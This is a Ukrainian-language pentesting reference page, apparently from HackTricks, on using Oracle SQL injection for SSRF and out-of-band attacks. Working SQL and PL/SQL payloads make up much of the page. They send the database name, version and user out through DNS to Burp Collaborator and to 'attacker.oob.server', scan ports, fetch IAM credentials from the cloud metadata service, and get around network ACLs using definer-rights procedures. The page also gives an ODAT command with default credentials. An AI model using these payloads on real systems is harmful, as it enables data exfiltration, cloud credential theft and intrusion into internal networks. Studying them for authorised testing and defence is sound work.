Oracle injection

Reading time: 9 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Serve this post a wayback machine copy of the deleted post from https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Використання Oracle для виконання Out of Band HTTP та DNS запитів добре задокументовано, але як засіб ексфільтрації SQL даних в ін'єкціях. Ми завжди можемо модифікувати ці техніки/функції для виконання інших SSRF/XSPA.

Встановлення Oracle може бути дійсно болісним, особливо якщо ви хочете налаштувати швидкий екземпляр для випробування команд. Мій друг і колега з Appsecco, Abhisek Datta, вказав мені на https://github.com/MaksymBilenko/docker-oracle-12c, що дозволило мені налаштувати екземпляр на t2.large AWS Ubuntu машині та Docker.

Я запустив команду docker з прапором --network="host", щоб я міг імітувати Oracle як рідну установку з повним доступом до мережі, протягом цього блогу.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle пакети, які підтримують специфікацію URL або Ім'я хоста/Номер порту

Щоб знайти будь-які пакети та функції, які підтримують специфікацію хоста та порту, я провів пошук у Google на Oracle Database Online Documentation. Конкретно,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Пошук повернув такі результати (не всі можуть бути використані для виконання вихідної мережі)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

Цей грубий пошук, очевидно, пропускає пакети, такі як DBMS_LDAP (який дозволяє передавати ім'я хоста та номер порту), оскільки сторінка документації просто вказує вам на інше місце. Отже, можуть бути й інші пакети Oracle, які можна зловживати для виконання вихідних запитів, які я міг пропустити.

У будь-якому випадку, давайте розглянемо деякі з пакетів, які ми виявили та перерахували вище.

DBMS_LDAP.INIT

Пакет DBMS_LDAP дозволяє отримувати доступ до даних з LDAP-серверів. Функція init() ініціалізує сесію з LDAP-сервером і приймає ім'я хоста та номер порту як аргумент.

Цю функцію раніше документували, щоб показати ексфільтрацію даних через DNS, як нижче

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Однак, враховуючи, що функція приймає ім'я хоста та номер порту як аргументи, ви можете використовувати це, щоб працювати як сканер портів.

Ось кілька прикладів

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. вказує на те, що порт закритий, хоча значення сесії вказує на те, що порт відкритий.

UTL_SMTP

Пакет UTL_SMTP призначений для надсилання електронних листів через SMTP. Приклад, наведений на сайті документації Oracle, показує, як ви можете використовувати цей пакет для надсилання електронного листа. Однак для нас цікавою є можливість вказати хост і специфікацію порту.

Нижче наведено грубий приклад з функцією UTL_SMTP.OPEN_CONNECTION, з тайм-аутом 2 секунди.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: transfer timeout показує, що порт відкритий, але жодне SMTP з'єднання не було встановлено, тоді як ORA-29278: SMTP transient error: 421 Service not available показує, що порт закритий.

UTL_TCP

Пакет UTL_TCP та його процедури і функції дозволяють TCP/IP на основі зв'язку з сервісами. Якщо його запрограмувати для конкретного сервісу, цей пакет може легко стати шляхом у мережу або виконати повні запити на стороні сервера, оскільки всі аспекти TCP/IP з'єднання можуть бути контрольовані.

Приклад на сайті документації Oracle показує, як ви можете використовувати цей пакет для створення сирого TCP з'єднання для отримання веб-сторінки. Ми можемо трохи спростити це і використовувати його для виконання запитів до екземпляра метаданих, наприклад, або до довільного TCP/IP сервісу.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Цікаво, що завдяки можливості створювати сирі TCP запити, цей пакет також можна використовувати для запитів до служби метаданих екземпляра всіх постачальників хмарних послуг, оскільки тип методу та додаткові заголовки можуть бути передані в запиті TCP.

UTL_HTTP та веб-запити

Мабуть, найпоширеніша та найдокументованіша техніка в кожному навчальному посібнику з Out of Band Oracle SQL Injection - це пакет UTL_HTTP. Цей пакет визначається документацією як - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Ви також можете використовувати це для виконання деякого елементарного сканування портів за допомогою запитів, таких як

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener або TNS:operation timed out є ознакою того, що TCP порт закритий, тоді як ORA-29263: HTTP protocol error або дані є ознакою того, що порт відкритий.

Інший пакет, який я використовував у минулому з різним успіхом, це GETCLOB() метод HTTPURITYPE абстрактного типу Oracle, який дозволяє взаємодіяти з URL і надає підтримку для HTTP протоколу. Метод GETCLOB() використовується для отримання GET відповіді з URL у вигляді CLOB типу даних.

SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;

Додаткові пакети та техніки (Oracle 19c → 23c)

UTL_INADDR – ексфільтрація на основі DNS та виявлення хостів

UTL_INADDR надає прості допоміжні засоби для розв'язання імен, які викликають вихідний DNS-запит з хосту бази даних. Оскільки потрібен лише домен (порт/ACL не потрібні), це надійний примітив для сліпої ексфільтрації, коли інші мережеві виклики заблоковані.

sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;

get_host_address() повертає розв'язану IP-адресу (або викликає ORA-29257, якщо розв'язання не вдається). Атакуючому потрібно лише спостерігати за вхідним DNS-запитом на контрольованому домені, щоб підтвердити виконання коду.

DBMS_CLOUD.SEND_REQUEST – повний HTTP-клієнт на Autonomous/23c

Останні хмарні версії (Autonomous Database, 21c/23c, 23ai) постачаються з DBMS_CLOUD. Функція SEND_REQUEST діє як універсальний HTTP-клієнт, який підтримує користувацькі дієслова, заголовки, TLS та великі тіла, що робить її набагато потужнішою за класичний UTL_HTTP.

sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username        => 'ignored',
password        => 'ignored');
END;
/

DECLARE
resp  DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri             => 'http://169.254.169.254/latest/meta-data/',
method          => 'GET',
timeout         => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/

Оскільки SEND_REQUEST дозволяє довільні цільові URI, його можна зловживати через SQLi для:

  1. Внутрішнього сканування портів / SSRF до служб метаданих хмари.
  2. Витоку даних поза каналом через HTTPS (використовуйте Burp Collaborator або тунель ngrok).
  3. Зворотних викликів до серверів зловмисника, навіть коли старі пакети викликів відключені ACL.

ℹ️ Якщо у вас є лише класичний локальний 19c, але ви можете створювати збережені процедури Java, ви іноді можете встановити DBMS_CLOUD з пакету клієнта OCI — корисно в деяких випадках.

Автоматизація поверхні атаки з ODAT

ODAT – Інструмент для атаки бази даних Oracle йде в ногу з сучасними випусками (перевірено до 19c, 5.1.1 – квітень 2022). Модулі –utl_http, –utl_tcp, –httpuritype та новіший –dbms_cloud автоматично:

  • Виявляють придатні пакети викликів/надання ACL.
  • Викликають DNS та HTTP зворотні виклики для сліпого витоку.
  • Генерують готові до копіювання SQL корисні навантаження для Burp/SQLMap.

Приклад: швидка перевірка OOB з використанням стандартних облікових даних (піклується про перерахування ACL у фоновому режимі):

bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob

Останні обмеження та обхід мережевих ACL

Oracle посилив стандартні мережеві ACL у CPU липня 2023 року — облікові записи без привілеїв тепер за замовчуванням отримують ORA-24247: network access denied by access control list. Два шаблони все ще дозволяють виклики через SQLi:

  1. Цільовий обліковий запис володіє записом ACL (DBMS_NETWORK_ACL_ADMIN.create_acl), який був доданий розробником для інтеграцій.
  2. Зловмисник зловживає високопривілейованою процедурою PL/SQL з правами визначення (наприклад, у власному додатку), яка вже має AUTHID DEFINER та необхідні привілеї.

Якщо ви зіткнетеся з ORA-24247 під час експлуатації, завжди шукайте повторно використовувані процедури:

sql
SELECT owner, object_name
FROM   dba_objects
WHERE  object_type = 'PROCEDURE'
AND  authid       = 'DEFINER';

(в багатьох аудитах принаймні одна процедура звітування/експорту мала необхідні права).


Посилання

  • Oracle Docs – опис пакету DBMS_CLOUD.SEND_REQUEST та приклади.
  • quentinhardy/odat – Інструмент для атаки на Oracle Database (остання версія 5.1.1, квітень 2022).

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks